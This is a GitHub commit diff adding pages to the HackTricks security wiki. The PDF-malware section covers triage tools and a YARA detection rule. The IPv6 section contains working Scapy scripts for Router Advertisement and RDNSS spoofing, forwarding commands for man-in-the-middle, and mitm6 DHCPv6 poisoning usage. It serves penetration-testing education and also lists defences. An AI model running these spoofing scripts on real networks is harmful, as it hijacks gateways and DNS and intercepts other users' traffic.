Skip to content

Commit af4e75a

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents 71b9eb4 + 19a33fb commit af4e75a

14 files changed

Lines changed: 1150 additions & 88 deletions

File tree

src/SUMMARY.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,8 @@
3232
- [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md)
3333
- [Detecting Phishing](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md)
3434
- [Discord Invite Hijacking](generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md)
35+
- [Homograph Attacks](generic-methodologies-and-resources/phishing-methodology/homograph-attacks.md)
36+
- [Mobile Phishing Malicious Apps](generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md)
3537
- [Phishing Files & Documents](generic-methodologies-and-resources/phishing-methodology/phishing-documents.md)
3638
- [Basic Forensic Methodology](generic-methodologies-and-resources/basic-forensic-methodology/README.md)
3739
- [Baseline Monitoring](generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md)

src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md

Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,94 @@ For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://gith
1717

1818
For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject.
1919

20+
## Common Malicious Constructs
21+
22+
Attackers often abuse specific PDF objects and actions that automatically execute when the document is opened or interacted with. Keywords worth hunting for:
23+
24+
* **/OpenAction, /AA** – automatic actions executed on open or on specific events.
25+
* **/JS, /JavaScript** – embedded JavaScript (often obfuscated or split across objects).
26+
* **/Launch, /SubmitForm, /URI, /GoToE** – external process / URL launchers.
27+
* **/RichMedia, /Flash, /3D** – multimedia objects that can hide payloads.
28+
* **/EmbeddedFile /Filespec** – file attachments (EXE, DLL, OLE, etc.).
29+
* **/ObjStm, /XFA, /AcroForm** – object streams or forms commonly abused to hide shell-code.
30+
* **Incremental updates** – multiple %%EOF markers or a very large **/Prev** offset may indicate data appended after signing to bypass AV.
31+
32+
When any of the previous tokens appear together with suspicious strings (powershell, cmd.exe, calc.exe, base64, etc.) the PDF deserves deeper analysis.
33+
34+
---
35+
36+
## Static analysis cheat-sheet
37+
38+
```bash
39+
# Fast triage – keyword statistics
40+
pdfid.py suspicious.pdf
41+
42+
# Deep dive – decompress/inspect the object tree
43+
pdf-parser.py -f suspicious.pdf # interactive
44+
pdf-parser.py -a suspicious.pdf # automatic report
45+
46+
# Search for JavaScript and pretty-print it
47+
pdf-parser.py -search "/JS" -raw suspicious.pdf | js-beautify -
48+
49+
# Dump embedded files
50+
peepdf "open suspicious.pdf" "objects embeddedfile" "extract 15 16 17" -o dumps/
51+
52+
# Remove passwords / encryptions before processing with other tools
53+
qpdf --password='secret' --decrypt suspicious.pdf clean.pdf
54+
55+
# Lint the file with a Go verifier (checks structure violations)
56+
pdfcpu validate -mode strict clean.pdf
57+
```
58+
59+
Additional useful projects (actively maintained 2023-2025):
60+
* **pdfcpu** – Go library/CLI able to *lint*, *decrypt*, *extract*, *compress* and *sanitize* PDFs.
61+
* **pdf-inspector** – browser-based visualizer that renders the object graph and streams.
62+
* **PyMuPDF (fitz)** – scriptable Python engine that can safely render pages to images to detonate embedded JS in a hardened sandbox.
63+
64+
---
65+
66+
## Recent attack techniques (2023-2025)
67+
68+
* **MalDoc in PDF polyglot (2023)** – JPCERT/CC observed threat actors appending an MHT-based Word document with VBA macros after the final **%%EOF**, producing a file that is both a valid PDF and a valid DOC. AV engines parsing just the PDF layer miss the macro. Static PDF keywords are clean, but `file` still prints `%PDF`. Treat any PDF that also contains the string `<w:WordDocument>` as highly suspicious.
69+
* **Shadow-incremental updates (2024)** – adversaries abuse the incremental update feature to insert a second **/Catalog** with malicious `/OpenAction` while keeping the benign first revision signed. Tools that inspect only the first xref table are bypassed.
70+
* **Font parsing UAF chain – CVE-2024-30284 (Acrobat/Reader)** – a vulnerable **CoolType.dll** function can be reached from embedded CIDType2 fonts, allowing remote code execution with the privileges of the user once a crafted document is opened. Patched in APSB24-29, May 2024.
71+
72+
---
73+
74+
## YARA quick rule template
75+
76+
```yara
77+
rule Suspicious_PDF_AutoExec {
78+
meta:
79+
description = "Generic detection of PDFs with auto-exec actions and JS"
80+
author = "HackTricks"
81+
last_update = "2025-07-20"
82+
strings:
83+
$pdf_magic = { 25 50 44 46 } // %PDF
84+
$aa = "/AA" ascii nocase
85+
$openact = "/OpenAction" ascii nocase
86+
$js = "/JS" ascii nocase
87+
condition:
88+
$pdf_magic at 0 and ( all of ($aa, $openact) or ($openact and $js) )
89+
}
90+
```
91+
92+
---
93+
94+
## Defensive tips
95+
96+
1. **Patch fast** – keep Acrobat/Reader on the latest Continuous track; most RCE chains observed in the wild leverage n-day vulnerabilities fixed months earlier.
97+
2. **Strip active content at the gateway** – use `pdfcpu sanitize` or `qpdf --qdf --remove-unreferenced` to drop JavaScript, embedded files and launch actions from inbound PDFs.
98+
3. **Content Disarm & Reconstruction (CDR)** – convert PDFs to images (or PDF/A) on a sandbox host to preserve visual fidelity while discarding active objects.
99+
4. **Block rarely-used features** – enterprise “Enhanced Security” settings in Reader allow disabling of JavaScript, multimedia and 3D rendering.
100+
5. **User education** – social engineering (invoice & resume lures) remains the initial vector; teach employees to forward suspicious attachments to IR.
101+
102+
## References
103+
104+
* JPCERT/CC – “MalDoc in PDF – Detection bypass by embedding a malicious Word file into a PDF file” (Aug 2023)
105+
* Adobe – Security update for Acrobat and Reader (APSB24-29, May 2024)
106+
107+
20108
{{#include ../../../banners/hacktricks-training.md}}
21109

22110

src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md

Lines changed: 180 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -112,12 +112,191 @@ To identify IPv6 addresses, certain DNS record types can be queried:
112112

113113
After pinpointing IPv6 addresses associated with an organization, the `ping6` utility can be used for probing. This tool helps in assessing the responsiveness of identified IPv6 addresses, and might also assist in discovering adjacent IPv6 devices.
114114

115+
## IPv6 Local Network Attack Techniques
116+
117+
The following sections cover practical layer-2 IPv6 attacks that can be executed **inside the same /64 segment** without knowing any global prefix. All the packets shown below are **link-local** and travel only through the local switch, making them extremely stealthy in most environments.
118+
119+
### System Tuning for a Stable Lab
120+
121+
Before playing with IPv6 traffic it is recommended to harden your box to avoid being poisoned by your own tests and to get the best performance during massive packet injection/sniffing.
122+
123+
```bash
124+
# Enable promiscuous mode to capture all frames
125+
sudo ip link set dev eth0 promisc on
126+
127+
# Ignore rogue Router Advertisements & Redirects coming from the segment
128+
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
129+
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
130+
131+
# Increase fd / backlog limits when generating lots of traffic
132+
sudo sysctl -w fs.file-max=100000
133+
sudo sysctl -w net.core.somaxconn=65535
134+
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
135+
```
136+
137+
### Passive NDP & DHCPv6 Sniffing
138+
139+
Because every IPv6 host **automatically joins multiple multicast groups** (`ff02::1`, `ff02::2`, …) and speaks ICMPv6 for SLAAC/NDP, you can map the whole segment without sending a single packet. The following Python/Scapy one-liner listens for the most interesting L2 messages and prints a colored, timestamped log of who is who:
140+
141+
```python
142+
#!/usr/bin/env python3
143+
from scapy.all import *
144+
from scapy.layers.dhcp6 import *
145+
from datetime import datetime
146+
from colorama import Fore, Style, init
147+
import argparse
148+
149+
init(autoreset=True)
150+
151+
# Human-readable names for protocols we care about
152+
DHCP6_TYPES = {
153+
DHCP6_Solicit: 'Solicit',
154+
DHCP6_Advertise: 'Advertise',
155+
DHCP6_Request: 'Request',
156+
DHCP6_Reply: 'Reply',
157+
DHCP6_Renew: 'Renew',
158+
DHCP6_Rebind: 'Rebind',
159+
DHCP6_RelayForward:'Relay-Forward',
160+
DHCP6_RelayReply: 'Relay-Reply'
161+
}
162+
ICMP6_TYPES = {
163+
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
164+
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
165+
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
166+
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
167+
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
168+
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
169+
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
170+
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
171+
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
172+
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
173+
}
174+
175+
def handler(pkt):
176+
eth_src = pkt[Ether].src if Ether in pkt else '?'
177+
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
178+
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
179+
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
180+
181+
# Identify protocol family first
182+
for proto,(desc,color) in ICMP6_TYPES.items():
183+
if proto in pkt:
184+
break
185+
else:
186+
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
187+
for dhcp_t,name in DHCP6_TYPES.items():
188+
if dhcp_t in pkt:
189+
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
190+
else:
191+
return # not a DHCPv6 message we track
192+
else:
193+
return # not interesting
194+
195+
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
196+
print(f" MAC {eth_src} -> {eth_dst}")
197+
print(f" IPv6 {ip6_src} -> {ip6_dst}")
198+
print('-'*60)
199+
200+
if __name__ == '__main__':
201+
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
202+
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
203+
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
204+
a = argp.parse_args()
205+
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
206+
```
207+
208+
Result: a full **link-local topology** (MAC ⇄ IPv6) in a matter of seconds, without triggering IPS/IDS systems that rely on active scans.
209+
210+
### Router Advertisement (RA) Spoofing
211+
212+
IPv6 hosts rely on **ICMPv6 Router Advertisements** for default-gateway discovery. If you inject forged RAs **more frequently** than the legitimate router, devices will silently switch to you as the gateway.
213+
214+
```python
215+
#!/usr/bin/env python3
216+
from scapy.all import *
217+
import argparse
218+
219+
p = argparse.ArgumentParser()
220+
p.add_argument('-i','--interface',required=True)
221+
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
222+
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
223+
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
224+
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
225+
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
226+
args = p.parse_args()
227+
228+
lifetime = 0 if args.revert else args.lifetime
229+
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
230+
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
231+
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
232+
233+
send(ra,iface=args.interface,loop=1,inter=args.interval)
234+
```
235+
236+
To actually **forward traffic** after winning the race:
237+
238+
```bash
239+
sudo sysctl -w net.ipv6.conf.all.forwarding=1
240+
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
241+
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
242+
```
243+
244+
### RDNSS (DNS) Spoofing via RA
245+
246+
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) allows adding a **Recursive DNS Server (RDNSS)** option inside a RA. Modern OSes (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) automatically trust it:
247+
248+
```python
249+
#!/usr/bin/env python3
250+
from scapy.all import *
251+
import argparse
252+
253+
p = argparse.ArgumentParser()
254+
p.add_argument('-i','--interface',required=True)
255+
p.add_argument('--llip',required=True)
256+
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
257+
p.add_argument('--lifetime',type=int,default=600)
258+
p.add_argument('--interval',type=int,default=5)
259+
args = p.parse_args()
260+
261+
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
262+
ICMPv6ND_RA(routerlifetime=0)/
263+
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
264+
265+
send(ra,iface=args.interface,loop=1,inter=args.interval)
266+
```
267+
268+
Clients will **prepend** your DNS to their resolver list for the given lifetime, granting full DNS hijacking until the value expires or you send a `lifetime=0` revert.
269+
270+
### DHCPv6 DNS Spoofing (mitm6)
271+
272+
Instead of SLAAC, Windows networks often depend on **stateless DHCPv6** for DNS. [mitm6](https://github.com/rofl0r/mitm6) automatically replies to `Solicit` messages with an **Advertise → Reply** flow that assigns **your link-local address as DNS for 300 seconds**. This unlocks:
273+
274+
* NTLM relay attacks (WPAD + DNS hijacking)
275+
* Intercepting internal name resolution without touching routers
276+
277+
Typical usage:
278+
279+
```bash
280+
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
281+
```
282+
283+
### Defences
284+
285+
* **RA Guard / DHCPv6 Guard / ND Inspection** on managed switches.
286+
* Port ACLs that allow only the legitimate router’s MAC to send RAs.
287+
* Monitor for **unsolid high-rate RAs** or sudden **RDNSS changes**.
288+
* Disabling IPv6 on endpoints is a temporary workaround that often breaks modern services and hides blind spots – prefer L2 filtering instead.
289+
290+
291+
115292
## References
116293

294+
- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
295+
- [mitm6](https://github.com/rofl0r/mitm6)
296+
- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
117297
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
118298
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
119299

120300
{{#include ../../banners/hacktricks-training.md}}
121301

122302

123-

src/generic-methodologies-and-resources/phishing-methodology/README.md

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,10 @@
2525
- **hypened subdomain**: Change the **dot for a hyphen** of a subdomain (e.g., www-zelster.com).
2626
- **New TLD**: Same domain using a **new TLD** (e.g., zelster.org)
2727
- **Homoglyph**: It **replaces** a letter in the domain name with **letters that look similar** (e.g., zelfser.com).
28+
29+
{{#ref}}
30+
homograph-attacks.md
31+
{{#endref}}
2832
- **Transposition:** It **swaps two letters** within the domain name (e.g., zelsetr.com).
2933
- **Singularization/Pluralization**: Adds or removes “s” at the end of the domain name (e.g., zeltsers.com).
3034
- **Omission**: It **removes one** of the letters from the domain name (e.g., zelser.com).
@@ -466,6 +470,12 @@ Attackers can silently copy malicious commands into the victim’s clipboard fro
466470
clipboard-hijacking.md
467471
{{#endref}}
468472

473+
## Mobile Phishing & Malicious App Distribution (Android & iOS)
474+
475+
{{#ref}}
476+
mobile-phishing-malicious-apps.md
477+
{{#endref}}
478+
469479
## References
470480

471481
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)

0 commit comments

Comments
 (0)